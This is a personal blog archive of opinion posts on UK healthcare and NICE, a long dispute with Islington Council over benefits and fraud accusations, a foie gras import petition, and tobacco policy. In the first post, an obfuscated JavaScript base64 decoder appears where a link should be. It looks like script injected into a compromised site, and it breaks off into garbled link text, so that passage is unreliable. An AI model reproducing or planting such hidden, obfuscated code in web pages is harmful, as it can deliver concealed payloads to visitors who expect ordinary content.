Mar 22 2010


Category: GeneralDave @ 12:29

Most of Europe (I don’t know about other places) has long been bemused by the fact that a country which aspires to be the greatest in the world doesn’t have something as rudimentary as free, universal healthcare. It’s great to see the US getting there.

The UK’s NHS has its problems but on the whole it’s not bad. The important bit is that anybody in this country who falls ill and needs urgent treatment gets it. Doesn't matter who they are, what nationality they are, no questions asked. To me that's civilised; in this 21st C, anything else isn't. If you're not entitled to free treatment here, they'll try & recover the costs - but afterwards. You don't have the worry of paying to stay alive whilst trying to heal. The NHS gets it wrong at times - wrong or inappropriate treatments and long waiting times are some of the ills that beset it but it's still infinitely better than the practical alternatives. I have read of people in the US pointing at NICE and calling it something like the "death panel". All I can say is: function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andthenhs/nice_and_the_nhs.jsp">go read what it actually does then eat your words! Of course NICE can get it wrong sometimes and it can make decisions which are bad for some individuals. No regulatory mechanism, of any kind, is perfect.

Universal Free Healthcare has to be paid for: Europeans pay far higher taxes than Americans and a lot of that is accounted for by healthcare and other kinds of social welfare. The idea that a free market will (or even can) result in full employment and therefore everyone will be able to afford the basics of civilised life is, to say the least, questionable. I think the US also needs to get away from this "work ethic" thing as the UK rulers kinda did, on the quiet, years ago. I'll explain why...

Western economies all have much the same basic rule: A public company's first and overriding duty is to maximise shareholder value. It therefore behoves the directors to minimise costs;if they don't, they can be sued. One major way to reduce costs, which is generally followed religiously, is to decrease headcount/staff costs. This is done largely by increasing automation and outsourcing to lands where labour is cheaper. This, of course, applies mostly to enterprises which actually make or produce *things* - cars, food, furniture, etc., although it's being increasingly applied to services as well. The theory is that the workers thus displaced will move into so-called "service industries" (until their jobs are outsourced). Huh! There aren't enough remaining workers in "real jobs" to support that much service industry and so you end up with permanent, structural unemployment. One way to mitigate this that they've used here (and, to a much lesser extent you see it happening in the US) is that they pass laws which create the need for Agencies to oversee the execution of those laws, soaking up some of the excess workforce. In the case of the UK, it's quite a large proportion.

The net result is that a minority of the population generates the real wealth of the country & their taxes pay to keep much of the rest of the erstwhile working population off the streets doing "makework" jobs. Full employment is a myth that I don't think will ever be seen again, certainly in the West and this is something that I think our politicians have been lying to us about for years. The permanent structural unemployment I referred to is going to get worse as automation gets cleverer. The whole work ethic thing needs to be rethought; I don't know what the final numbers will actually be but, as an example: What do we do with the other 90% when 10% of the possible workforce (workforce, not population mind) can produce everything a country needs? The real figures might end up at 80/20 or even 70/30 but I very much doubt they'll go beyond that.

I think the link between the above & Universal Free Healthcare is fairly obvious but just for a change, I think something good will come of it 🙂

Technorati Tags: , , , , , ,

Tags: , , , , , ,

Sep 06 2008

Islington Council is a disgraceful shambles

Category: GeneralLee @ 22:17

WARNING: this is a bit of a long one. There’s a lot to say, and a lot happened. I've tried to keep it brief, but even if you fold up an elephant to get it as small as possible, it still won't fit into a juice box. That said, it's worth reading and may, in fact, even help some people. Or at least serve as a warning. I hope it does - some practical advice follows at the end.

As you may have guessed by the title, I live in Islington, London. It's a nice place, for the most part. There are things to do, places to shop, all the conveniences and it is very well connected to get just about anywhere else in London.

The Council, however, is another matter altogether. Legendary for it's poor performance for years now - seemingly regardless of which party manages it - I have had personal experience of it's many and varied failings.

To go into all the details would take many pages, digging through old documents and, frankly, probably send my blood pressure skyrocketing. However, I will attempt to give a suitable overview. Believe me, the prose below is a heavily truncated list of occurrences compared to what I could go in to.

First, there were the summonses to magistrates' court. That's plural - as in many, many times. And not one of them justified. See, for a while, I was unemployed and living with two students; this means that we did not pay *any* council tax, as all three of us were excluded due to our respective statuses. The bills came anyway, however, and I spent a fair bit of money talking on the phone with disinterested and rude people for whom, being generous, English might have been their third language. We all provided proof of our statuses and lack of income. We did everything we were asked to do, including all those little 'just one more thing we need' bits which I have come to know and loathe (I presume they are intended to actively discourage people for doing anything which might take money from the council, as no-one would press on through such a swamp of red tape unless they really needed to). We received our first summons, and it was not a happy occasion. I called the council and explained the mistake. The man at the other end was uncharacteristically helpful and sympathetic, apologising and issuing a letter saying that the summons was withdrawn immediately. He also said it would not happen again; I think he believed it, but he was very wrong.

It happened again. I called up again. This time I spoke to a very rude woman who informed me that I would have to go to court to dispute this. I pointed out that this had not been necessary last time, explained what had happened and received a patronising response stating, once again, that court was the way to go. After the conversation ended I called up again, spoke to someone else and immediately got the issue resolved as it had been the first time.

In total, we received something like six summonses, all but one of which were dealt with by phone, costing me time and money, causing me untold stress and being of varying levels of difficulty to resolve depending on whether the person I was talking to had the faintest idea what they were talking about, cared, had an ounce of common sense or - and I am quite sure of this - was just in the right mood to do the right thing.

The figures they demanded varied wildly, from well over £1000 to £300, then back up to around £700, then £100... it was clear that they had no idea what they were doing. I never sought any explanation regarding the yo-yoing figures as, to the best of my knowledge, we owed them not a single penny.

Finally, around a year after this had begun, they got us into court. The bill was a joke, asking about some £35 - except this time, every time I spoke to someone they insisted that we did, in fact, owe it. No-one could explain how or why, but they wanted our money and would take whatever they could get. So off to court we went. It might be worth mentioning at this point that the two people I was sharing an apartment with, my very great friends, are both lawyers. That's solicitors and barristers. The gentleman I went to court with was virtually cracking his knuckles in anticipation of these derisory proceedings.

But there were none. We sat in a waiting room along with all the other summonees, and a council lawyer eventually got around to us. We told him we owed no money and would not pay. He was, to his credit, helpful - although his lack of interest and generally utterly disheartened demeanour almost made me feel sorry for this minion of the council. Almost.

So we went to the council offices. They explained that the amount they wanted from us was for the two weeks or so after we had moved in, but before my flatmates had provided their proofs of studentship. We went back twice, I think, arguing that not only had they only found out about this necessity after having moved in, but that the institution they were attending had been slow to provide said proof and that it was no fault of theirs. It was useless. In the end, by law, we owed them the money. We paid. My friends did the sensible thing and moved back to India. I remain.


I will attempt to keep this as objective as possible, although I actually shake with frustration merely thinking about it.

Once unemployed and in receipt of Job Seekers' Allowance (JSA), one can also claim Housing and Council Tax benefit. Now, whilst the former comes from the central government and, as such, is, well... centralised, the latter is managed by each individual council directly - in my case, of course, Islington. Oh dear.

First off, I discovered that, because I was under 25, I was expected to be living in a shared bathroom, shared kitchen, dump of a home. Purely based on my age. No, it's impossible that perhaps I had the money to rent a decent place but then fell on hard times. An outrageous concept. So the council would not pay all of my rent, I had to supplement it with both most of my JSA and help from my parents, who didn't have that much either. The upshot was that I lived on about £5 a week, if that - sometimes much less - for several months. That was a calming and happy experience, I don't think.

Skip forward - through the soul-crushing bog of bureaucracy which Islington Council sits in the middle of, squatting like a wart-covered and particularly ugly toad, staring with balefully yet undeniably blank and unintelligent eyes at any who might approach it. OK, so that wasn't objective. But it is accurate.

I found a job. Yay. Big YAY. I had been unemployed for far too long, and although the job was a low-paid thing of questionable dignity (customer services in the travel industry - prostitution might have lacked dignity, but I like to think I might have made better money) I was happy as could be. The bills could be paid, the rent too (it's the little things like that which caused me so much stress), I could buy more than cheap pasta and supermarket own brand canned vegetables to eat. There wasn't much money left for anything else, but in comparison to the desert I had just walked out of, life was good.

Then I got another letter. It was a very polite letter, explaining that they had a few simple questions to ask me and would I mind popping over to answer them. The bit that gave the game away somewhat was at the end, when it mentioned that what I said would be recorded and could potentially be used in court against me. I took along my father and my barrister friend, and we made a day of it.

The interviewer was truly obnoxious. I am on tape asking him to kindly cease patronising me, as I had not done anything wrong and he was badgering me by asking the same few questions over and over, just phrased differently. That might be enough to fool a monkey or a scientologist, but not someone whose IQ points are in double-figures. This seemed to annoy him greatly, which in turned warmed me somewhat.

In essence, I had been receiving housing and council tax benefits for about 3-4 months since I had started work. See, I had asked the people at the Job Centre how it worked, as I rightly suspected I might need some aid whilst I re-built my fragile and functionally non-existent finances. They had told me, about three of them all together, that I could continue receiving the rent and tax help for up to six months.

It wasn't true. The limit is one month, and then only under exceptional circumstances. I might have qualified, but never got the chance to find out. It works like this: in order to get housing and council tax benefits, you have to provide the council with proof that you are already receiving JSA. I did this, and all was fine (relatively speaking - I didn't spontaneously burst into flames). So when I got my job, I went back to the JSA people, filled in all the forms and asked about keeping the help with the rent etc, getting the answer I mentioned above. I also sent a change of circumstances form to the council, informing them of my job. I heard nothing back (this didn't surprise me, as the only correspondence they seem to deal with is forms for me to fill out, and simple 'yes' or 'no' letters regarding whether or not you get benefits. Or asking for more information) so went on with my life, content that I had done everything I needed to do.

Yet now here they were again, the council, accusing me of fraud. I was red and shaking. Fraud. Me. After everything they had put me through: the piss-poor attitudes, the professional ignorance of the staff, the bureaucracy so thick you could almost choke on it, the mistakes made by them one after the other... I was being accused of fraud. Not only that, but by way of 'evidence' they produced sworn statements from the job centre people I said had misinformed me, which described the correct thing they should have said in such a flawless and uniform manner that I truly believe it was copied out of some textbook - if only because I happened to know that at least two of them could not possibly write that well from examples I had seen, and even their spoken English was decidedly sub-standard. Each one claimed they would have given an absolutely exemplary response. Really? No! When the alternative was admitting that they had said completely the wrong thing to some guy they probably didn't even remember, and they had been given about a week to go away and do the research necessary to write such a flawless statement. The bottom line is: they lied. But, of course, I could not prove that.

I took it to arbitration. I sat in front of a lady arbiter behind a big desk, dressed as best I could in my only suit, next to a lawyer from the council who looked like an impending suicide attempt. The filthy suit, covered in dandruff, the adult acne smothering his face, the loosened tie, the battered briefcase, the soulless expression. It gave me confidence, which was a mistake.

His (literally) two-minute 'case' was basically 'He didn't tell us he had a job but kept claiming benefits, under article blah blah blah.'. That was it.

My presentation went of for about 15-20 minutes. I produced document after document after document, including the one where they demanded - on threat of legal action - a sum from a Mrs... something (I can't put the name here, even if I could find the old letter). Definitely not me, anyway. I showed her the many summons, the withdrawals, the apologies, the reams and reams of paperwork which proved beyond a shadow of a doubt that Islington Council was grossly incompetent in every single aspect of their dealings with people like myself. I left no doubt. I'm being objective here: I had an inch-thick collection of documents, letters from the council mostly, showing categorically that they were mistaken in virtually everything they said and did.

I was told to pay. I could not believe it. I was told that even though the arbiter could accept that the council might not have received my letter telling them I had a job, that despite my even hypothetically being given the wrong information and therefore not questioning my continuation of benefits, I should have somehow thought this was wrong and I should have contacted them. Their misinformation and mistakes and lax checking systems were somehow now my responsibility.

I considered appealing. I had already pointed out in the arbitration that even the name of one of the witnesses, my friend, was utterly wrong. Surely, I had said, if even something as legally vital as a witness name was so very messed up, everything else they told me - and said about the case - was at the very least highly suspect if not literally unbelievable. (To give you some idea, if my friend's name was, say, John Thompson, they would have written it as 'Mr J. Ohnthomon', or something like that. It was unrecognisable as his name, except vaguely if spoken phonetically. It was made much worse by my friend's Indian names.)

I could only appeal in the circumstances I was in if it was on a point of law. I considered bringing the witness name issue back up, and therefore asking for the statements to be discounted entirely on a point of validity, but by then I had finally realised the truth: there was no way to win. It didn't matter how right I was, how much Islington Council had screwed up or, indeed, the countless pieces of evidence I had provided to support my case against the council's impressive number: '0'. Systems were in place to ensure that Islington Council could not lose - not on the big things, anyway.

I met with a couple more council workers to discuss repayment of the housing and council tax 'overpayments'. The first seemed to me to be the definition of 'old school'. He looked and acted like he'd been doing this for a long time and had seen it all. Again, it was refreshing to meet someone professional and, dare I say, perhaps even a little sympathetic. But the real reason I'll remember him is this: when I asked him, unofficially, whether I had had the slightest chance of winning in arbitration, his answer was essentially 'They're supposed to be independent, but they basically work for the council. It's very rare that anyone ever wins against them. You know how it is.' accompanied by one of the most knowing looks - tinged, I am certain, with disappointment if not some fair annoyance - and we got on with things. I even felt a little better, know that I had done everything I could have despite apparently being doomed to failure.

I asked the second council worker the same question. His effuse answer was something like 'Of course not, they're completely independent, that's what they're there for... etc, etc, etc'. His look of annoyance was directed at me, and my look of pity and disgust was aimed at him.

The penalty they imposed was the entire amount 'overpayed' plus 33%. It came to thousands. I am still re-paying it. In the end, though, it is worth considering this: the total amount, even including the penalty, taken across all the time I'll be paying it off at £50 a month, can be viewed as a loan with less than 3% interest. Not exactly a great win, but then at the time life without that extra money would have been very difficult indeed.

In the final analysis, there are a few simple major problems with Islington Council, some of which could be solved easily and some not so easily:

Ignorance. Very, very few people at Islington Council actually have the faintest clue as to what they are talking about. They contradict each other, insult other departments to you (the customer) in reference to their ignorance, and can actually provide 5 answers if you ask only 3 people. Mind-boggling. There needs to be consistency, and I find it very hard to believe that training and testing people properly would not improve matters a hundredfold.

Attitude. This is a tough one. The vast majority of people I have spoken to, across several departments, have exuded a lack of interest which borders on the brain-dead. They simply don't care. This contributes to them giving you the wrong information to get you to stop talking to them as soon as possible, or to being re-directed from pillar to post because no-one wants to deal with you. It's not that they can't (although ignorance might be in play here again) it's just that it's a crap job and they don't want to do it. They can't be bothered. Now, I've done some damn crappy jobs in my time and it sucks, but if you take the money then you do the work as best you can. And come on, this is people's lives we're talking about here. Destitute people, desperate people, people who need someone who will listen to their problem with both ears and their brain before saying the right thing. Or at least trying. It doesn't take much.

Language. This one's easy enough: the people on the phones the most, but everyone who works for a London Borough, should be able to speak good English. I dread to think of the number of times someone's life has been made infinitely worse because they couldn't understand what was being said to them. Thick Caribbean, African and Indian accents abound at the other end of the phone when you talk to Islington Council. I have nothing against them due to their ethnicity, of course, but if I can't understand them (and I come from a very multi-cultural background, so I've heard English spoken by all kinds of people - sometimes even Englishmen) then they're no use in that job. And try to get them to repeat the garbled words they're saying and you'll get a snappish attitude and pushed off the line as soon as possible.

Consistency. I touched on this above. There are three main departments involved: the Job Centre, Contact Islington (a central advice line for the borough) and the part of Islington Council which deals with the benefits. Ask each one the same question and you might well end up with four different answers. Then when you go to one and tell them another told you something, you get told 'Between you and me, they don't know what they're talking about. They're always telling people the wrong thing'. Seriously, I was actually told that about Contact Islington by people at the Job Centre. Now, they may be right but why is this allowed to continue? It creates enormous confusion and surely must make as much work for the staff of all three departments as it causes stress to people like myself. Plus: how do you know who to listen to?

There are probably other things, but I can't think of any right now.

Essentially, it's like this: if you have to deal with Islington Council, triple-check everything you're told, request (or demand if you have to, sometimes they don't want to commit themselves) to have it put in writing by e-mail or post (or preferably both, so that when they send it to you and you never get it they don't claim it was 'lost' or there was a 'computer error') and, if someone in one department tells you something you're not sure about, check with the other relevant departments immediately. Also, if you were expecting something to happen but it's been a little while (don't leave it longer than a week) phone them and chase it. Otherwise you will suddenly find them telling you that they sent you a letter you never received and are denying your benefits because you didn't supply information you didn't know they asked for. They will not ask again, even if you never knew they had in the first place (yes, you guessed it... it's happened to me).

Or, best of all, don't deal with this awful institution in the first place if you can possibly avoid it. It's like jumping out of a plane towards a rainbow: you might be aiming for something good an beautiful, but the pot of gold is just a myth and ultimately you'll just end up smacking into the ground and it will hurt.

P.S.: to those few who work for Islington Council and are genuinely helpful, knowledgeable and professional: thank you. You are the rare Schindlers to the council's Nazis and worth your weight in gold.

Technorati Tags: , , , , , , , , , , , , , , , , , , , , , , , , ,

Tags: , , , , , , , , , , , , , , , , , , , , , , , , ,

Aug 13 2008

Yet another UK government cop-out

Category: GeneralDave @ 21:13

On the Number 10 Downing Street website, you can start a petition to the government. You can then advertise its existence any (legal) way you want and invite people to come & sign it. Eventually, after the closing date, you get an answer from the Prime Minister (yeah, OK). I can’t remember how I found out about this one:

“We the undersigned petition the Prime Minister to secure derogations from EU treaties to allow the prohibition of foods that fail UK animal welfare sandards.”

but I signed it. It was really about the mistreatment of birds to produce foie gras. They are force fed a special diet in order to artificially increase the size of their liver. I’ve read the response from producers who claim it really isn’t that bad and my response to them is “OK, let me try it on you & see if that’s OK then.” And I can guess pretty much exactly what their answer would be. It’s cruel and there really is, in my opinion, no justification for it whatsoever.

The petition only got 308 signatures which is rather sad in itself but in reality is not a bad result when you consider how many petitions there are on the site.

So, on to the PM’s reply:

We appreciate concerns over this subject and realise that many people would like us to ban the importation and sale of foie gras into the UK.

The free movement of goods is a well established, fundamental principle in Community law and is enshrined in Part III, Title I of the Treaty Establishing the European Community (TEC). Any exception from these principles by amending the Treaty to exclude or modify these provisions in their application to the UK would need to be ratified by all Member States.

If such an amendment to the TEC was agreed it is unlikely that the amendment would be viable since the World Trade Organisation (WTO) rules are unlikely to allow us to ban imports to the EU on the grounds of welfare standards applied in third countries. Any ban therefore, could lead to a successful WTO challenge to the EU in relation to such an amendment.

It remains that the most effective action that can be taken is for individuals not to buy foie gras, if they dislike the way it is produced.

Or in other words “We have treaties with other countries that mean we can’t refuse to import their products even if they are made using totally unacceptable methods.” Oddly, they managed to get exceptions for child labour (good) but not this. Presumably they don’t consider animal welfare important enough (now there’s a surprise) to stand up to the CE and WTO and make them change their rules. No, it wouldn’t be easy. So what?

Make like the French: just say “Non” and haughtily turn away.

Technorati Tags: , , , ,

Tags: , , , ,

Aug 06 2008

Tobacco – why we are still suffering

Category: GeneralDave @ 21:19

The anti-cancer campaign in the UK has had quite a bit of success in their campaign against tobacco advertising. True, it almost killed Formula 1 car racing but that has a limited shelf life anyway – it can’t last much longer in its current form (but that’s another story…). However, the latest thrust is to reduce the insidious advertising directed straight at young people, including those too young to buy tobacco yet. This focusses on point-of-sale issues such as posters in shops, especially small tobacconists, and the attractiveness of the pack which can carry images designed to attract younger purchasers. The anti-cancer people want to have the posters banned and the packs made plain black-and-white with no attractive images, etc. All very well and good and I for one have signed the petition to the UK government to further these aims.

However, I would prefer to see a swift move towards the total banning of all tobacco products and their classification as a class A drug. Tobacco kills and maims and does at least as much total damage to the population as cocaine. And yet it’s still legal to sell the stuff. It’s obvious why: the tobacco companies would go bust, at least in the UK, sending shocks through the stock markets; the government would lose massive tax income. In short, those results would send the UK economy into a tailspin. As an aside,it’s already almost in one so this would be a really bad time to push it even harder in that direction.

I understand the economic reasons why tobacco has not been banned in the past and totally disagree with them. I regard this a classic case of “big business” being given priority over the general populace: the government knows how bad tobacco is but it’s inconvenient for them to do anything about it. As long as the tax collected on tobacco products exceeds the cost to the NHS of tobacco-related illness they won’t disturb the status quo. I doubt they take into account, however, the additional cost to the economy of all the tobacco-related illness sick days taken. I suspect the Civil Service has a hand in this – senior civil servants would have a very rough ride if the government of the day really tried to put an end to tobacco.

So, to me, this issue is a prime example of why, in general, government cannot be trusted.

Technorati Tags: , , , ,

Tags: , , , ,